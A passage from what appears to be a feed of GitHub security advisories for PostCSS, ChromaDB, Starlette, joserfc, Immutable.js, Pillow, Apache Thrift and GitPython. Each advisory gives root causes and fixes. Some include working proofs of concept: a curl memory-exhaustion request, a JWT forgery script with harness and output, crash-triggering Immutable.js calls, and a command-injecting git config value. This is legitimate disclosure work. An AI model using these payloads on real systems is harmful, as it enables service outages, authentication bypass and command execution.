disables the bug is the explicit, undocumented-for-this-purpose { map: false }.

Recommended Fix

The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

1. Refuse traversal/absolute paths in loadMap (defence-in-depth):

js // lib/previous-map.js loadMap(file, prev) { if (prev === false) return false if (prev) { / unchanged / } else if (this.inline) { return this.decodeInline(this.annotation) } else if (this.annotation) { let annotation = this.annotation // Reject schemes (other than data:, handled above) and absolute paths. if (/^[a-zA-Z][a-zA-Z0-9+.-]:/.test(annotation)) return if (require('path').isAbsolute(annotation)) return if (!file) return // No base path → cannot safely resolve. const base = require('path').resolve(require('path').dirname(file)) const resolved = require('path').resolve(base, annotation) // Refuse anything that escapes the base directory. if (resolved !== base && !resolved.startsWith(base + require('path').sep)) { return } return this.loadFile(resolved) } }

2. Require explicit opt-in to follow on-disk source-map annotations: gate the loadFile(map) call in loadMap behind an option such as opts.map.annotation === true or opts.map.followAnnotation === true. Today, the only way to opt out is { map: false }, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A lack of authorization validation in version 0.4.17 or later of the ChromaDB Python project allows any authenticated users to arbitrarily read, write, update, or delete data in any tenant's collection regardless of which tenant they belong to.

First published (updated )
Severity
8.8
AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions.

First published (updated )
Severity
8.8
AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

All V1 collection-level endpoints in ChromaDB's Python project pass None for the tenant and database to the authorization layer, allowing attackers to bypass authorization controls by using the V1 endpoints.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Starlette treats multipart/form-data parts without a filename as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette.

PoC

python from starlette.applications import Starlette from starlette.routing import Route

async def poc(request): async with request.form(): pass

app = Starlette(routes=[ Route('/', poc, methods=["POST"]), ])

sh curl http://localhost:8000 -F 'big=</dev/urandom'

Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

If a client deliberately triggers an exception after establishing a streamable HTTP session, this can lead to an uncaught ClosedResourceError on the server side, causing the server to crash and requiring a restart to restore service. Impact may vary depending on the deployment conditions, and presence of infrastructure-level resilience measures.

Thank you to Rich Harang for reporting this issue.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Weak Encryption
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/rfc7518/jwsalgs.py:62-70 feed whatever OctKey.getopkey(...) produced into hmac.new(...), and OctKey.importkey only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signinginput) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensurevalidkey! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

- OctKey.importkey(os.environ.get("JWTSECRET", "")) - A key finder callable that returns "" / None for an unknown kid - Default values like os.getenv("SECRET") or "", cfg.get("secret", "") - Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/rfc7518/jwsalgs.py:43-70:

python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512

def init(self, shatype, recommended=False): self.name = f"HS{shatype}" self.description = f"HMAC using SHA-{shatype}" self.recommended = recommended self.hashalg = getattr(self, f"SHA{shatype}") self.algorithmsecurity = shatype

def sign(self, msg: bytes, key: OctKey) -> bytes: opkey = key.getopkey("sign") return hmac.new(opkey, msg, self.hashalg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: opkey = key.getopkey("verify") vsig = hmac.new(opkey, msg, self.hashalg).digest() return hmac.comparedigest(sig, vsig)

src/joserfc/rfc7518/octkey.py:52-63:

python @classmethod def importkey(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).importkey(value, parameters, password) if len(key.rawvalue) < 14: # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key

The < 14 check only warns; len(key.rawvalue) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.comparedigest(sig, hmac.new(b"", signinginput, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

ruby def ensurevalidkey!(key) raiseverifyerror!('HMAC key expected to be a String') unless key.isa?(String) raiseverifyerror!('HMAC key cannot be empty') if key.empty? end

invoked from both sign(signingkey:) and verify(verificationkey:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.preparekey raises InvalidKeyError("HMAC key must not be empty.") for len(keybytes) == 0). firebase/php-jwt rejects empty material in Key.construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWTSECRET reaches hmac.new

1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"]) where key = OctKey.importkey("") (or OctKey.importkey(b""), or any custom path that yields an OctKey whose rawvalue is b""). 2. decode (src/joserfc/jwt.py:86-117) calls decodejws(...) → deserializecompact(value, key, algorithms, registry). 3. deserializecompact (src/joserfc/jws.py) dispatches to HMACAlgorithm.verify(signinginput, signature, key). 4. verify calls key.getopkey("verify") → returns b"". 5. hmac.new(b"", signinginput, sha256).digest() is computed; the attacker computed exactly that digest with the same empty key, so hmac.comparedigest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

python import base64, hmac, hashlib, json, time def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=") header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) now = int(time.time()) payload = b64url(json.dumps({ "sub": "attacker", "admin": True, "iat": now, "exp": now + 600, }).encode()) signinginput = header + b"." + payload sig = hmac.new(b"", signinginput, hashlib.sha256).digest() forged = signinginput + b"." + b64url(sig) print(forged.decode())

Server harness:

python server.py from joserfc import jwt from joserfc.jwk import OctKey import os from wsgiref.simpleserver import makeserver

def app(environ, startresponse): auth = environ.get("HTTPAUTHORIZATION", "") token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" key = OctKey.importkey(os.environ.get("JWTSECRET", "")) # default = "" try: tok = jwt.decode(token, key, algorithms=["HS256"]) c = tok.claims body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode() startresponse("200 OK", [("Content-Type", "text/plain")]) return [body] except Exception as e: startresponse("401 Unauthorized", [("Content-Type", "text/plain")]) return [("DENY: %s\n" % e).encode()]

makeserver("127.0.0.1", 8383, app).serveforever()

End-to-end reproduction (against pip install joserfc==1.6.7)

bash 1. Boot the WSGI server. JWTSECRET unset to model the misconfigured-secret state. python3.12 -m venv venv ./venv/bin/pip install joserfc==1.6.7 ./venv/bin/python server.py & # listens on :8383

2. Run the attacker ./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY HTTP 200 OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi... HTTP 401 DENY: BadSignatureError: badsignature:

Interpretation:

| Configuration | Observed | Expected | |------------------------------|-------------------------------------|----------| | JWTSECRET unset (== "") | HTTP 200, admin=True (verified) | HTTP 401 | | JWTSECRET = 256-bit value | HTTP 401, BadSignatureError | HTTP 401 |

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

- Complete authentication bypass on any service whose key finder resolves to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.importkey time and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.importkey to a hard reject at len(key.rawvalue) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.getopkey(...):

python src/joserfc/rfc7518/octkey.py @classmethod def importkey(cls, value, parameters=None, password=None) -> "OctKey": key: OctKey = super(OctKey, cls).importkey(value, parameters, password) if not key.rawvalue: raise ValueError("oct key material must not be empty") if len(key.rawvalue) < 14: warnings.warn("Key size should be >= 112 bits", SecurityWarning) return key

src/joserfc/rfc7518/jwsalgs.py class HMACAlgorithm(JWSAlgModel): ... def sign(self, msg: bytes, key: OctKey) -> bytes: opkey = key.getopkey("sign") if not opkey: raise ValueError("HMAC key must not be empty") return hmac.new(opkey, msg, self.hashalg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: opkey = key.getopkey("verify") if not opkey: raise ValueError("HMAC key must not be empty") vsig = hmac.new(opkey, msg, self.hashalg).digest() return hmac.comparedigest(sig, vsig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in preparekey, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Immutable.Map and Immutable.Set keep keys that share the same 32-bit hash in a collision bucket that is scanned linearly. The string hash is public and deterministic, so an attacker who controls the keys inserted into a Map can craft many keys that all collide, degrading insertion and lookup from amortized O(1) to O(n) per operation — and O(n²) to build or read the whole set. A small, attacker-shaped payload can therefore consume disproportionate CPU and, on a single-threaded runtime such as Node.js, stall the event loop and deny service.

Details

The string hash uses the JVM-style polynomial hashed = (31 hashed + charCode) | 0. Strings such as "Aa" and "BB" hash to the same value (6531+97 == 6631+66 == 2112), and concatenating such blocks yields 2^n distinct strings sharing one hash (40 characters ⇒ >1,000,000 colliding keys). All such keys route to a single HashCollisionNode, whose get/update walk the entire bucket testing is(). There is no per-process salt, so the colliding set is fully precomputable from the open-source algorithm.

Proof of concept

Inserting N colliding keys (e.g. via Immutable.Map(obj) / Immutable.fromJS(obj)) is O(N²). Measured on one machine, ~8,000 colliding keys take ~0.7 s to build and ~0.6 s to read, scaling ×4 per doubling; ~16,000 keys exceed several seconds.

Impact

CPU-bound denial of service in applications that ingest attacker-controlled object keys into Immutable structures, e.g. Immutable.Map(req.body), Immutable.fromJS(req.body), state.merge(userObject) / mergeDeep(...). Applications that only store attacker input as values under fixed keys are not affected.

Affected versions

All versions through 5.1.7 (the deterministic string hash and linear collision bucket have existed since the 4.x line).

Patches

Fixed in 5.1.8 (adjust to the actual release): large collision buckets are indexed by a per-process seeded secondary hash, restoring near-linear behavior for the affected paths. The public hash() is unchanged (no breaking change), and is() remains the sole authority on key equality.

Workarounds

Before passing untrusted data to Immutable.js: cap request body size, limit object key count/length, and reject high-cardinality payloads; avoid building Maps directly from untrusted object keys.

References

- CWE-407 (Inefficient Algorithmic Complexity), CWE-400 (Uncontrolled Resource Consumption) - OWASP API4:2023 (Unrestricted Resource Consumption)

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Integer Overflow
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

List#set, List#setSize, List#setIn, List#updateIn (and the functional set / setIn / updateIn) mishandle an index or size in the range [2 30, 2 31):

- On an empty List the operation enters an uncatchable infinite loop (a tight CPU spin; a surrounding try/catch never regains control). Only killing the worker recovers it. - On a populated List (≥ 32 elements — i.e. any array of ≥ 32 items turned into a List by fromJS) the loop allocates without bound → heap exhaustion → the process aborts (SIGABRT, exit 134, or kernel OOM-kill 137). A real crash, not a recoverable error.

The index may be a numeric string, so it can come straight from a request body, URL, or key-path. A single small unauthenticated request is enough.

There is also a companion silent data-corruption issue in setSize:

js List([1, 2, 3]).setSize(2 31); // before fix => size 0 (silently cleared) List([1, 2, 3]).setSize(2 32 + 5); // before fix => size 5 (huge value wraps to 5)

Impact

Availability only. A reachable configuration is any endpoint that routes untrusted input into a List index or a setIn/updateIn key-path — which the extremely common state = fromJS(body); state.setIn(userPath, value) pattern does (config stores, document/collection editors, redux-immutable reducers, JSON-Patch endpoints, etc.).

No confidentiality or integrity impact, no RCE. The companion setSize bug can silently corrupt application state (wrong size) without crashing.

Reproduction (immutable 5.1.7)

ts import { fromJS, List } from 'immutable';

// 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x');

// 2) Empty List: hangs forever, uncatchable List().set(2 30, 'x');

// 3) Silent truncation List([1, 2, 3]).setSize(2 31); // => size 0 List([1, 2, 3]).setSize(2 32 + 5); // => size 5

A remote 43-byte HTTP request ({"path":["items","1073741824"],"value":"x"}) is sufficient to abort a worker that applies it via state = state.setIn(path, value).

Any index in [2 30, 2 31) works (1073741824, 2000000000, …). An index in [2 31, 2 32) does not crash — it silently wraps (clearing the List) via the same root cause.

Root cause

List stores its values in a 32-wide trie (SHIFT = 5, so each level addresses 5 more bits) and uses signed 32-bit bitwise arithmetic throughout setListBounds() (src/List.js):

1. Infinite loop (the hang / OOM). The level-raising loop

js while (newTailOffset >= 1 << (newLevel + SHIFT)) { newRoot = new VNode( newRoot && newRoot.array.length ? [newRoot] : [], owner ); newLevel += SHIFT; }

relies on 1 << (newLevel + SHIFT). A JavaScript shift count is taken mod 32, so once newLevel + SHIFT reaches 31 the term goes negative (1 << 31 === -2147483648) and at 32 wraps to 1 (1 << 35 === 8). The comparison then stays true forever and the loop never terminates. On a populated List, each iteration retains a new VNode ([newRoot]), so the heap fills and V8 aborts; on an empty List it spins on CPU without allocating.

2. Silent wraparound (the setSize corruption). The begin |= 0 / end |= 0 coercion (ToInt32) silently wraps large finite values ((2 31) | 0 === -2147483648, (2 32 + 5) | 0 === 5), producing a wrong resulting size instead of an error.

The threshold is 2 30: that is the largest size for which 1 << (newLevel + SHIFT) stays a valid positive 32-bit integer throughout the loops (newLevel + SHIFT stays ≤ 30).

Remediation

The fix is contained to setListBounds() in src/List.js:

1. Validate up front, before the lossy | 0 coercion. Compute the intended origin and capacity in full precision and throw a clear, catchable RangeError when they exceed the addressable range (MAXLISTSIZE = 2 30). Infinity/NaN are left to the existing | 0 → 0 behaviour (so setSize(Infinity) stays 0 and slice(0, Infinity) still means "to the end").

2. Stop the shift from wrapping. Replace 1 << exp in the level-raising loops with a helper that uses the cheap bitwise shift while it is exact (exp ≤ 30, the common path including every push/setSize/slice) and falls back to the non-wrapping 2 exp only for the rare deep trees reached when a negative origin (unshift / negative index) is normalized to a large positive capacity (exp can reach 35 there, where 1 << 35 would wrap to 8).

This turns every hang, the misleading "Maximum call stack size exceeded", the OOM/SIGABRT, and the silent setSize truncation into one descriptive RangeError, preserves all behaviour for sizes < 2 30, and keeps the hot push path on the fast bitwise shift (the 2 exp branch is never reached by non-negative operations).

Is the new limit a breaking change?

No working code is affected. A List could never actually hold ≥ 2 30 values before — the attempt hung, crashed, or silently corrupted the size. The limit was already implicit in the 32-bit trie; the fix only makes it explicit and catchable, mirroring native JS arrays (new Array(2 32) → RangeError: Invalid array length). The single observable behaviour change is that setSize(hugeValue), which used to return a silently wrong size, now throws. 2 30 ≈ 1.07 billion entries (~8 GB of pointers alone), far beyond any practical use.

Mitigations (for users who cannot upgrade immediately)

- Validate/clamp any externally supplied List index or setIn/updateIn key-path segment against a sane maximum before passing it to immutable. - Reject numeric path segments ≥ 2 30. - Run request handling in a worker that can be restarted, and cap the heap (--max-old-space-size) so an abort is contained.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary src/libImaging/Jpeg2KDecode.c:853 accumulates totalcomponentwidth across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tilebytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details - Location: src/libImaging/Jpeg2KDecode.c:853 - Root cause: totalcomponentwidth is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tilebytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: tilebytes is promoted into tileinfo.datasize, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.

PoC The attached helper script and testcase were used: exercisej2ktilerealloc.zip

Generate the testcase:

bash pythonexercisej2ktilerealloc.py make poc3664rgbatile1832.jp2 \ --size 3664 --tile 1832

Expected geometry from the helper:

- image size: 3664 x 3664 - mode: RGBA - tile size: 1832 x 1832 (2x2 tiles) - imagebytes=53699584 - uncapped RSS observed: - vulnerable build: maxrsskb=180264 - fixed comparison build: maxrsskb=138404

Load it with the current vulnerable build:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2

Load it again under a 160 MB address-space cap:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2 --limit-mb 160

Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority as a duplicate of CVE-2026-48779.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.

This issue affects Apache Thrift: before 0.24.0.

Users are recommended to upgrade to version 0.24.0, which fixes the issue.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

GitPython before 3.1.58 contains a command execution vulnerability in the checkunsafeoptions guard that can be bypassed by combining a single-character kwarg with splitsinglecharoptions=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clonefrom to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allowunsafeoptions=False.

First published (updated )
Severity
8.7
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - Affected component: git/repo/base.py, Repo.unsafegitcloneoptions (class attribute, lines 153-165) and Repo.clone() (lines 1477-1520), reached via the public Repo.clonefrom() (line 1626) and Repo.clone() (line 1567) APIs. - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability Repo.clonefrom(url, topath, kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git.optioncandidates) and checks it against a denylist, Repo.unsafegitcloneoptions, via Git.checkunsafeoptions() — unless the caller passes allowunsafeoptions=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).

git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafegitinitoptions (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo.clone()/clone()/clonefrom() docstring (line 1450-1452) is even more explicit:

:param allowunsafeoptions: Allow unsafe options to be used, such as --template and --separate-git-dir.

i.e. the maintainers' own documentation states that allowunsafeoptions=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafegitcloneoptions does not contain it:

python unsafegitcloneoptions = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ]

So any application that forwards a separategitdir (or separate-git-dir) kwarg into Repo.clonefrom() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allowunsafeoptions=False.

Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafegitinitoptions correctly lists --separate-git-dir; unsafegitcloneoptions, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).

Exploit path 1. Attacker-controlled input reaches a separategitdir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clonefrom() / Repo.clone() by the host application, with allowunsafeoptions left at its default False. 2. Git.optioncandidates() renders this as --separate-git-dir and Git.checkunsafeoptions() checks it against Repo.unsafegitcloneoptions — no match, no UnsafeOptionError raised. 3. Git.transformkwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell). 4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.

Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to. - If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/, refs/, packed-refs, and index there — an integrity violation of a resource outside the intended destination. - Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.

Preconditions - The calling application forwards a caller-influenced value into a separategitdir kwarg of Repo.clonefrom()/Repo.clone() (or into the multioptions list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allowunsafeoptions=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.

